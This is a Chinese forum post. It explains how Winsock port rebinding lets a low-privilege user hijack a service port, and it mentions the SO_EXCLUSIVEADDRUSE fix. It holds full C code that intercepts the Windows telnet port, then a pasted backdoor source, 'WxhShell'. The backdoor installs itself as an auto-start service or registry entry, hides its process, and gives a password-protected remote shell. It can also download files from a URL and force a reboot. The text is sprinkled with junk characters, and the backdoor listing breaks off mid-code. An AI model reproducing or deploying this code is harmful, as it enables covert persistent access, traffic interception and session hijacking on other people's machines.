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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RBiDU}j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WG< D+P  
y1f&+y9e  
  saddr.sin_family = AF_INET; zZseK  
sJ!AI n<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /O+,vRw\A  
N3i}>Q)B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1[/X$DyaK  
"w=.2A:q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7 zK%CJ  
~- JkuRJ\  
  这意味着什么?意味着可以进行如下的攻击: lY0^Z  
i9uJ%nd:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T[L  
*cJ GrLC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9aYCU/3  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T+RfMEdr  
KZJ;O7'`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Kp8!^os  
;E(%s=i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vY:A7yGW  
h9RG?r1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vfm |?\  
oj[Wzeg%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a";(C ,:0  
&.;tdT7  
  #include A)&OR]0[  
  #include 5q}680s9+  
  #include u:NSPAD)  
  #include    I[G<aI!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D8qZh1w%A|  
  int main() {088j?[hzk  
  { vEOoG>'Zq  
  WORD wVersionRequested; O8r9&Nv  
  DWORD ret; %Gv8 ]Yb  
  WSADATA wsaData; v 4DF #O  
  BOOL val; p.n+m[  
  SOCKADDR_IN saddr; {w1sv=$+  
  SOCKADDR_IN scaddr; j[v<xo  
  int err; Zw` Xg@;xP  
  SOCKET s; fXEF]C  
  SOCKET sc; AMGb6enl  
  int caddsize; -!k"*P  
  HANDLE mt; <9B\('  
  DWORD tid;   hj4Kv  
  wVersionRequested = MAKEWORD( 2, 2 ); u+~Ta  
  err = WSAStartup( wVersionRequested, &wsaData ); N{ @B@]  
  if ( err != 0 ) { D<]z.33  
  printf("error!WSAStartup failed!\n"); -P^ 6b(  
  return -1; _ ^r KOd  
  } {YT!vD9.  
  saddr.sin_family = AF_INET; &ScADmZP^d  
   oyiEOC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jo1n>Mo-j  
X~T"n<:a>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Yw vX SA  
  saddr.sin_port = htons(23); M`-.0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nl"< $/  
  { 4jfkCU  
  printf("error!socket failed!\n"); 6V KsX+sd  
  return -1; }1f@>'o  
  } _ko16wfg  
  val = TRUE;  LkD$\i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D9*GS_K2 t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7aj|-gZ  
  { M1^,g~e  
  printf("error!setsockopt failed!\n"); )4vZIU#  
  return -1; |X,T>{V?y  
  } pdX%TrM+[:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lED-Jo2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h/j+ b.|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R_e{H^pY^  
PMebn$(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q-k{Lqa-  
  { mFC0f?nr  
  ret=GetLastError(); mzLDZ# =b  
  printf("error!bind failed!\n"); I9-vV>:z  
  return -1; >jD,%yG  
  }  |W];8  
  listen(s,2); n [H3b}  
  while(1) :UGc6  
  { . T6fPEb  
  caddsize = sizeof(scaddr); Pwn"!pk  
  //接受连接请求 5*l~7R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0'{0kE[wn  
  if(sc!=INVALID_SOCKET) /f@VRME  
  { wws)**]J8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l*T> 9yC  
  if(mt==NULL) </ 3 Shq  
  { ]([:"j  
  printf("Thread Creat Failed!\n"); 4mq+{c0  
  break; rLw3\>y  
  } n7>CK?25  
  } j'Z}; 3y  
  CloseHandle(mt); eLXG _Qb"  
  } H|T!}M>  
  closesocket(s);  I0trHrX9  
  WSACleanup(); @-|{qP=Dy  
  return 0; +YVnA?r?  
  }   }J"}5O2,b  
  DWORD WINAPI ClientThread(LPVOID lpParam) |r[yMI|VR  
  { 2 UU5\ jV6  
  SOCKET ss = (SOCKET)lpParam; |!NKKvf  
  SOCKET sc; f0]8/)  
  unsigned char buf[4096]; _C$JO   
  SOCKADDR_IN saddr; sS/#)/B  
  long num; @.T(\Dq^  
  DWORD val; `OO=^.-u  
  DWORD ret; Bt[OGa(q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &(UVS0=Dp,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P~$FgAV  
  saddr.sin_family = AF_INET; {h5 S=b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;O5p>o  
  saddr.sin_port = htons(23); l3dGe'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RG1~)5AL~Y  
  { ;gfY_MXnF  
  printf("error!socket failed!\n"); JDrh-6Zgj  
  return -1; #-?pY"N,  
  } )xYv$6=  
  val = 100; a<9cj@h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WD c2Qt  
  { *&]x-p1m  
  ret = GetLastError(); b37P[Q3  
  return -1; (,<&H;,8  
  } (jv!q@@2C.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *F| j%]k~  
  { *NzHY;e  
  ret = GetLastError(); Z".mEF-b  
  return -1; !mLQdkTE  
  } `oQ)qa_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V~ph1Boz2  
  { }GX[N\$N  
  printf("error!socket connect failed!\n"); $Ay j4|_-  
  closesocket(sc); \lwYDPY:  
  closesocket(ss); x-O9|%aRJ  
  return -1; ug*#rpb  
  } T 7`9[  
  while(1) lIPy)25~  
  { D.elE:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d1$3~Xl]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fZ!fwg$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VU6nu4   
  num = recv(ss,buf,4096,0); 0?59o!@h  
  if(num>0) A??(}F L  
  send(sc,buf,num,0); [!9 dA.tF  
  else if(num==0) #Bq.'?c'~  
  break; Qwl=/<p1  
  num = recv(sc,buf,4096,0); aVsA5t\zi  
  if(num>0) ip6$Z3[)  
  send(ss,buf,num,0); RSEo'2  
  else if(num==0) _): V7Zv  
  break; Y Y4"r\V  
  } E=!=4"rZF  
  closesocket(ss); $@k[Xh  
  closesocket(sc); 8;2UP`8s?  
  return 0 ; *c'nPa$+|S  
  } j. UQLi&`  
NMq#D$T  
<%WN<T{q|  
========================================================== Z@ AHe`A  
$t.i)wg +  
下边附上一个代码,,WXhSHELL ^3B)i=  
#Ezq}F8Y  
========================================================== F ^& Rg  
_cra_(b  
#include "stdafx.h" cm^:3(yYX  
ZNb;2 4  
#include <stdio.h> <-KHy`u  
#include <string.h> ,'[&" Eg  
#include <windows.h> Sj?u^L8es}  
#include <winsock2.h> `tZu~ n  
#include <winsvc.h> za{z2# aJ  
#include <urlmon.h> Us4J[MW<  
34S|[PX d  
#pragma comment (lib, "Ws2_32.lib") V mxVE=l  
#pragma comment (lib, "urlmon.lib") Ckd=tvL  
wcGI2aflD  
#define MAX_USER   100 // 最大客户端连接数 # D8Z~U,-  
#define BUF_SOCK   200 // sock buffer h_Ky2IB$  
#define KEY_BUFF   255 // 输入 buffer 0].x8{~o  
(bEX"U-  
#define REBOOT     0   // 重启 sjh>i>t  
#define SHUTDOWN   1   // 关机 P(OgT/7A  
a(}dF?M=  
#define DEF_PORT   5000 // 监听端口 vd>K=! J  
>s#[dr\ww  
#define REG_LEN     16   // 注册表键长度 eeI aH >  
#define SVC_LEN     80   // NT服务名长度 27mGX\T  
!O=?n<Ex"  
// 从dll定义API =@%;6`AVcp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I,4t;4;Zk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1~BDtHW7`n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jIY    
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9[qEJ$--  
::13$g=T9s  
// wxhshell配置信息 gq9D#B  
struct WSCFG { #T\Yi|Qs#  
  int ws_port;         // 监听端口 +Kc1a;  
  char ws_passstr[REG_LEN]; // 口令 ,Qvclu8r  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^`b&fb v  
  char ws_regname[REG_LEN]; // 注册表键名 ~AbnksR  
  char ws_svcname[REG_LEN]; // 服务名  biwV7<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mmk]Doy?#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [Xp{z tGE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HSq.0vYl6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fQ>=\*b9x^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (_&W@:"z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }1]E=!?)&  
VayU   
}; /18Z4TA  
R#j -Z#/"  
// default Wxhshell configuration aoNTRJ c$  
struct WSCFG wscfg={DEF_PORT, 2+KOUd&jS  
    "xuhuanlingzhe", 9o-fI@9  
    1, !N5+.E0j  
    "Wxhshell", >r Nff!Ow  
    "Wxhshell", Y|ONCc  
            "WxhShell Service", [hy:BV6H+  
    "Wrsky Windows CmdShell Service", x!\FB.h4!(  
    "Please Input Your Password: ", |~'D8 g:Ak  
  1, J?/.|Y]e  
  "http://www.wrsky.com/wxhshell.exe", } sTo,F$  
  "Wxhshell.exe" u<8 f ;C_  
    }; {"<6'2T3  
]8,:E ]`O  
// 消息定义模块 B35zmFX|}N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9G8n'jWyY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _4E . P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W}+f}/&l  
char *msg_ws_ext="\n\rExit."; .<`W2*1  
char *msg_ws_end="\n\rQuit."; x+~IXi>Ig  
char *msg_ws_boot="\n\rReboot..."; 5 `:+NwXS2  
char *msg_ws_poff="\n\rShutdown..."; U3SF'r8  
char *msg_ws_down="\n\rSave to "; oicett=5  
P3[+c4  
char *msg_ws_err="\n\rErr!"; HVb9YU+  
char *msg_ws_ok="\n\rOK!"; m9*Lo[EXO  
z4l O  
char ExeFile[MAX_PATH]; eF5?4??  
int nUser = 0; RusC5\BUX  
HANDLE handles[MAX_USER]; cv fh:~L  
int OsIsNt; "BB#[@  
8+^?<FKa  
SERVICE_STATUS       serviceStatus; 2u9^ )6/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y w"Tw  
!\{&^,y  
// 函数声明 xl5n(~g)p  
int Install(void); $YDZtS&h  
int Uninstall(void); 7mulNq  
int DownloadFile(char *sURL, SOCKET wsh); S@suPkQ<>  
int Boot(int flag); nJ/wtw  
void HideProc(void); ,#^<0u+zrF  
int GetOsVer(void); N*t91 X  
int Wxhshell(SOCKET wsl); r4Ygy/%  
void TalkWithClient(void *cs); [BS3y`c  
int CmdShell(SOCKET sock); y^; =+Z  
int StartFromService(void); (]'Q!MjGa  
int StartWxhshell(LPSTR lpCmdLine); ]+\@_1<ZI  
/BWJ)6#H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dZ!Wj7K)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `!MyOI`qS  
Peha{]U  
// 数据结构和表定义 iQ= %iou  
SERVICE_TABLE_ENTRY DispatchTable[] = %N)o*H&  
{ oOk.Fq  
{wscfg.ws_svcname, NTServiceMain}, B`Q.<Lqu  
{NULL, NULL} QZufQRfr{  
}; fgFBOpG%Gq  
'"}|'J  
// 自我安装 $)| l#'r  
int Install(void) W(*:8}m,p  
{ Wpom{-  
  char svExeFile[MAX_PATH]; 9kPwUAw  
  HKEY key; oF/5mh__(K  
  strcpy(svExeFile,ExeFile); b6D}GuW  
K?')#%Z/{#  
// 如果是win9x系统,修改注册表设为自启动 RL>Nl ow  
if(!OsIsNt) { RVN"lDGA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2,Y8ML<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N" |^AF  
  RegCloseKey(key); ^RkHdA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1E Lzzn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RMB?H)p+  
  RegCloseKey(key); 9GS<d.#Nvc  
  return 0; Cna@3)_  
    } gF% lwq  
  } L1u  
} Auhw(b>}TW  
else { lo:]r.lX{  
Du>dTi~  
// 如果是NT以上系统,安装为系统服务 yWIM,2x}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8WWRKP1V  
if (schSCManager!=0) g~d}?B\<@  
{ 'l\V{0;mp  
  SC_HANDLE schService = CreateService `gqBJi  
  ( 9vL`|`Vau  
  schSCManager, ErF;5ec  
  wscfg.ws_svcname, _<5o1  
  wscfg.ws_svcdisp, <\x/Y$jm0n  
  SERVICE_ALL_ACCESS, cHK)e2 r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U{D ?1tF  
  SERVICE_AUTO_START, F#_7mC   
  SERVICE_ERROR_NORMAL, JJ56d)37.  
  svExeFile, 3+m#v8h1  
  NULL, q`09   
  NULL, aKaqi}IT  
  NULL, ".| 9h  
  NULL, Vn1kC  
  NULL t~p9iGX<  
  ); tklU zv  
  if (schService!=0) JGZ,5RTq4-  
  { _,b%t1v  
  CloseServiceHandle(schService); 3y>.1  
  CloseServiceHandle(schSCManager); u*[,W-R&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KtHh--j`  
  strcat(svExeFile,wscfg.ws_svcname); D_O%[u}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I"3Qdi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?)Lktn9%  
  RegCloseKey(key); TJ`E/=J!  
  return 0; hC}A%_S  
    } WX 79V  
  } n4)G g~PE  
  CloseServiceHandle(schSCManager); ))!Z2PfD  
} /woa[7Xe  
} +IVVsVp  
Kv+E"2d  
return 1; g=pz&cz;>\  
} tjOfekU  
8x'rNb  
// 自我卸载 df#DKV:  
int Uninstall(void) =(*Eh=Pw  
{ ` e~/  
  HKEY key; 2Iz@lrO6  
T~Jl{(s9)  
if(!OsIsNt) { `a:@[0r0U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y,WcHE  
  RegDeleteValue(key,wscfg.ws_regname); iUA2/ A  
  RegCloseKey(key); >;o^qi_$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *P:`{ZV7=W  
  RegDeleteValue(key,wscfg.ws_regname); FH M^x2  
  RegCloseKey(key); $ sEe0  
  return 0; *%ZfE,bu8<  
  } Gyy:.]>&  
} 8NeP7.U<w  
} -O~WHi5}  
else { |IH-a"  
"eI-Y`O,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j3`:;'L  
if (schSCManager!=0) H` Q_gy5Z(  
{ +Qu~UK\   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -N5r[*>  
  if (schService!=0) S=[K/Kf-  
  { QfU 0*W?r  
  if(DeleteService(schService)!=0) { GfQMdLy\Z  
  CloseServiceHandle(schService); ;eG%#=>  
  CloseServiceHandle(schSCManager); bm%2K@ /U  
  return 0; Ym& _IOx  
  } @Qruc\_  
  CloseServiceHandle(schService); ..<(HH2  
  } l/LRr.x  
  CloseServiceHandle(schSCManager); ezwcOYMXK  
} :@_CQc*yB  
} n5S$Dl  
FO3!tJ\L  
return 1; .IpwTke'  
} C_O 7  
peGXU/5.I  
// 从指定url下载文件 T>n,@?#K  
int DownloadFile(char *sURL, SOCKET wsh) 1$@k@*u\  
{ GOH@|2N  
  HRESULT hr; &#.XLe\y  
char seps[]= "/"; L)Un9&4L  
char *token; y+Q!4A  
char *file; p`{<q -  
char myURL[MAX_PATH]; Fxv~;o#  
char myFILE[MAX_PATH]; I" sKlMD  
wi*Ke2YKP  
strcpy(myURL,sURL); Jd1eOeS  
  token=strtok(myURL,seps); D6bCC; h=  
  while(token!=NULL) bL *;N3#E  
  { k>VP<Zm13  
    file=token; ),bdj+wr78  
  token=strtok(NULL,seps); ^fnRzX  
  } n{Jvx>);  
X /5tZ@  
GetCurrentDirectory(MAX_PATH,myFILE); , X$S4>  
strcat(myFILE, "\\"); yKZ~ ^  
strcat(myFILE, file); X,O&X  
  send(wsh,myFILE,strlen(myFILE),0); R(pvUm& L  
send(wsh,"...",3,0); LfOGq%&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x"AYt:ewuc  
  if(hr==S_OK) v.r$]O  
return 0; @H&Aj..  
else #: ' P3)&  
return 1; %PlPXoG=  
.h~)|" uzW  
} %<1fj#X8  
L$@RSKYp  
// 系统电源模块 ( }JX ]-  
int Boot(int flag) * +A!12s@  
{ &??(EA3  
  HANDLE hToken; 5Odi\SJ&  
  TOKEN_PRIVILEGES tkp; oH6(Lq'q  
n6Q 3X  
  if(OsIsNt) { cY\-e?`=4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [`ttNW(_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Hys9I  
    tkp.PrivilegeCount = 1; v%zI~g.L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Gwn||g78  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gvA&F |4  
if(flag==REBOOT) { Htsa<t F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (CZRX9TT1  
  return 0; lzS"NHs<g(  
} kf"cd 1  
else { 'ARQ7 Q[`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  r) X?H  
  return 0; %5F=!( w  
} '^Sa|WXq  
  } oVC~RKA*  
  else { b;soMilz  
if(flag==REBOOT) { K3 ]hUe#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;C{ 2*0"H|  
  return 0; u =rY  
} S'E6#   
else { 3kYUO-qw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hC6$>tl  
  return 0; fVf.u'.8  
} )%ja6Vg  
} jgEiemh&  
[FyE{NfiJ%  
return 1; Z8'uZ#=Yw  
} m"U\;Mw?  
S'3l<sY  
// win9x进程隐藏模块 |:H[Y"$1;  
void HideProc(void) |_O; U=2  
{ i"w$D{N  
a |z{B b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (x.K%QC)  
  if ( hKernel != NULL )  KsUsj3J  
  { %j^=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Atfon&^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9^ mrsj  
    FreeLibrary(hKernel); u{>5  
  } ,T&B.'cq  
?]3`WJOj  
return; ,qvz:a  
} IK %j+UB  
i$og v2J  
// 获取操作系统版本 .4KXe"~E  
int GetOsVer(void) ~=0zZTG  
{ 4|++0=#D$  
  OSVERSIONINFO winfo; /5yW vra  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;! CQFJ=  
  GetVersionEx(&winfo); zyCl`r[}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .4-;  
  return 1; ;AG5WPI  
  else +8BH%f}X  
  return 0; Z#4? /'  
} fep#Kb%"e  
38Wv&!  
// 客户端句柄模块 2]> s@?[  
int Wxhshell(SOCKET wsl) ~"=nt@M]  
{ TAzhD.6C  
  SOCKET wsh; }GGFJ"  
  struct sockaddr_in client; G3?8GTH  
  DWORD myID; u[d8)+VX  
dnNc,l&g  
  while(nUser<MAX_USER) E}1[&  
{ 5jYRIvM[Q~  
  int nSize=sizeof(client); Ah)7A|0rT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t5eux&C  
  if(wsh==INVALID_SOCKET) return 1; IOIGLtB  
;TaT=%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0Y!Bb2 m  
if(handles[nUser]==0) O'idS`   
  closesocket(wsh); YtIJJH  
else <cepRjDn  
  nUser++; iY*Xm,#  
  } }"xC1<]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *;o=hM)Tp  
p=7kFv  
  return 0; >#0yd7BST  
} \:" s*-  
Sf*VkH  
// 关闭 socket ,VHvQU  
void CloseIt(SOCKET wsh) y4shW|>5_  
{ NO9Jre  
closesocket(wsh); < ^J!*>  
nUser--; q)!{oi{x(  
ExitThread(0); Iqo4INGIi  
} gQ/zk3?k  
L:B&`,E  
// 客户端请求句柄 fNB*o={r|  
void TalkWithClient(void *cs) k92189B9j/  
{ # <&=ZLN  
\ =83#*KK  
  SOCKET wsh=(SOCKET)cs; =2`s Uw}  
  char pwd[SVC_LEN]; ~'T]B{.+J  
  char cmd[KEY_BUFF]; C(?lp  
char chr[1]; f#^%\K:YYR  
int i,j; M{z+=c&w  
*M KVm)Iv  
  while (nUser < MAX_USER) { eUBk^C]\  
6=  9  
if(wscfg.ws_passstr) { *(r85lEou)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p]pFZ";70  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m0\(a_0V  
  //ZeroMemory(pwd,KEY_BUFF); qe\j$Cjy  
      i=0; Wxp^*._q3I  
  while(i<SVC_LEN) { ^. Pn)J  
]HCt%5  
  // 设置超时 ]A'e+RD4k  
  fd_set FdRead; nre8 F  
  struct timeval TimeOut; ~8|$KD4I  
  FD_ZERO(&FdRead); ][qZOIk@  
  FD_SET(wsh,&FdRead); &|9?B!,`  
  TimeOut.tv_sec=8; 1` 9/[2z  
  TimeOut.tv_usec=0; rVf`wJ6b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $1UN?(r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R\X=Vg  
Dy8Go4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z"E+ TX  
  pwd=chr[0]; 2Jj`7VH>  
  if(chr[0]==0xd || chr[0]==0xa) { N*o+m~:y  
  pwd=0; [x)BQX'  
  break; @];Xbbw+c  
  } Y @K9Hl  
  i++; 0e/~H^,SQ  
    } Mb/R+:C`  
(D~mmffY1  
  // 如果是非法用户,关闭 socket rfCoi>{<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E>7%/TIl  
} %0"o(y+zt  
4NbC V)Dm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;N4mR6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wV(_=LF  
-4HI9Czts  
while(1) { +/UInAM  
Ya,>E@oc  
  ZeroMemory(cmd,KEY_BUFF); guf+AVPno  
@o>2:D1G  
      // 自动支持客户端 telnet标准   U>:p`@  
  j=0; ok[R`99  
  while(j<KEY_BUFF) { az19-QIcg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'rd{fe_g!  
  cmd[j]=chr[0]; 0 J ANj  
  if(chr[0]==0xa || chr[0]==0xd) { h3JIiwv0!  
  cmd[j]=0; r2H]n.MT  
  break; *Jp>)>  
  } u#}zNz#C5  
  j++; )DoY*'Cl  
    } t,RR\S  
QMkLAZ  
  // 下载文件 ."=Bx2  
  if(strstr(cmd,"http://")) { BfhOe~+i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1FY^_dvH  
  if(DownloadFile(cmd,wsh)) Fv(zql  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7e u7ie6  
  else {zg}KiNDZd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;,9|;)U?u  
  } 0WYVt"|;}c  
  else { _YbHnb  
NEK;'"  ~  
    switch(cmd[0]) { v|n.AGn  
  OZ7MpQ  
  // 帮助 U[Z1@2zLx  
  case '?': { ^yBx.GrQc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D4 e)v%  
    break; LeO5BmwHR  
  } a:@Eg;aN*O  
  // 安装 ^8We}bs-c  
  case 'i': { sd#a_  
    if(Install()) t1Cyyb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#8mU,7  
    else Ak|j J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3B;B#0g50  
    break; |s s_<  
    } QvqX3FU  
  // 卸载 v`no dI  
  case 'r': { iiO4.@nT  
    if(Uninstall()) ;l~gA|A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w'cZ\<N[  
    else r)h+pga5^E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJtYy4jI)  
    break; -LQ%)'J ZN  
    } 'fZHtnmc0  
  // 显示 wxhshell 所在路径 {AQ3y,sh  
  case 'p': { 1uS _]59=  
    char svExeFile[MAX_PATH]; :@kSDy+*Q  
    strcpy(svExeFile,"\n\r"); XB^z' P{-Y  
      strcat(svExeFile,ExeFile); -S9$C*t  
        send(wsh,svExeFile,strlen(svExeFile),0); xNl_Q8Z?R^  
    break; UJlKw `4  
    } C+2*m=r  
  // 重启 O(wt[AEA  
  case 'b': { C;STJrew  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `) K1[&  
    if(Boot(REBOOT)) LVO`+:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -w^E~J0*L  
    else { wYNh0QlBH  
    closesocket(wsh); ].` i`.T  
    ExitThread(0); N "FQMxqm  
    } &K|CH? D  
    break; Qs</.PO  
    } opdi5 e)jK  
  // 关机 V"\t  
